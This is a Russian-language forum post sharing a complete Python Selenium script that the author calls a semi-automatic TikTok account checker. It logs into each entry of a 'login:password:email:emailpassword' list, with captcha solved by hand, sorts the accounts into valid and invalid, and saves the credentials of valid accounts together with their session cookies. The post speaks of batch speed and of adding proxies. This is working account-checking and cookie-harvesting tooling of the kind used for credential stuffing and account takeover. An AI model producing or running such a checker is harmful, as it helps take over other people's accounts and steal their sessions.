[TikTokCookie] Полу-автоматический чекер TikTok

Sqeezi

Участник
Автор темы
80
35
Всем бобра 🫶

Решил поделиться своим чудом, писал для себя в итоге стал не нужным.
Коротко, Заходит на аккаунт, получает куки, выходит из аккаунта

Пару недель назад написал полу-автоматический чекер аккаунтов TikTok. Почему "полу"? - Ответ прост, капчу при входе вы решаете сами.
Написан на Selenium, есть примитивное логирование в консоль, после входа в аккаунт он получает куки от него. Мало чего могу про него сказать, делал для себя, стал не нужным - решил слить, может кому пригодиться.

Создаем файл "accounts.txt" в него записываем наши аккаунты в формате - "логин:пароль:почта:парольОТпочты" (формат можно поменять в коде)

Я сравнил сколько времени уходит чекать 50 аккаунтов руками и софтом. около +-30 минут руками, 5-7 минут софтом. В любом случае намного быстрее.
Что насчёт прокси? - По стоку прокси не поддерживает, но код открытый, всегда можно прикрутить)
CODE:
from selenium import webdriver
from time import sleep
from art import tprint
from loguru import logger
import os


class TikTok:

    def __init__(self):
        self.driver = webdriver.Firefox()

    def __delete_cookie(self):
        self.driver.delete_all_cookies()

    def enter_account(self, value):
        url = "https://www.tiktok.com/login/phone-or-email/email"

        self.driver.get(url)
        sleep(1)
        self.driver.find_element('xpath', '//*[@id="loginContainer"]/div[1]/form/div[1]/input').send_keys(value[0])
        sleep(1)
        self.driver.find_element('xpath', '//*[@id="loginContainer"]/div[1]/form/div[2]/div/input').send_keys(value[1])
        sleep(1)
        self.driver.find_element('xpath', '//*[@id="loginContainer"]/div[1]/form/button').click()


        Login = False
        while Login == False:
            page_source = self.driver.page_source

            if "<span>Успешный вход</span>" in page_source:
                logger.info(f"[{value[0]}] Валид.")
                Login = True
            elif '<span role="status">Неверная учетная запись или пароль</span>' in page_source:
                logger.warning(f"[{value[0]}] Не валид.")
                return
            elif 'Неверное имя пользователя или пароль. Попробуйте еще раз' in page_source:
                logger.warning(f"[{value[0]}] Не валид.")
                return
            elif '<span role="status">Пользователь не существует</span>' in page_source:
                 logger.warning(f"[{value[0]}] Не валид.")
                 return
            elif '<span role="status">Ваш аккаунт сейчас заморожен.</span>' in page_source:
                 logger.warning(f"[{value[0]}] Не валид.")
                 return

        self.get_cookies(value)


    def get_cookies(self, value):
        sleep(4)
        logger.info(f"[{value[0]}] Получаю куки.")

        cook = str(self.driver.get_cookies())
        valid_cook = cook.replace("True", 'true')
        valid_cook = valid_cook.replace("False", 'false')
        valid_cook = valid_cook.replace("'", '"')

        with open("success_accounts.txt", "a") as file:
            file.write(f"{value[0]}:{value[1]}:{value[2]}:{value[3]}\n{valid_cook}\n\n")

        self.__delete_cookie()


class UI:

    def __init__(self):
        with open("accounts.txt", "r") as file:
            self.accounts = file.readlines()

    def start(self):
        os.system('cls')
        
        if self.accounts == []:
            logger.error('Заполните файл "accounts.txt"')
            return

        tprint("CookieTikTok")
        input("\n\n>  ")

        tiktok = TikTok()
        cout = 1
        for i in self.accounts:
            account = i.replace("\n","").split(":")
            logger.info(f'[{cout}] Начинаю проверять "{account[0]}"')
            tiktok.enter_account([account[0], account[1], account[2], account[3]])
            sleep(2)

            cout += 1


UI().start()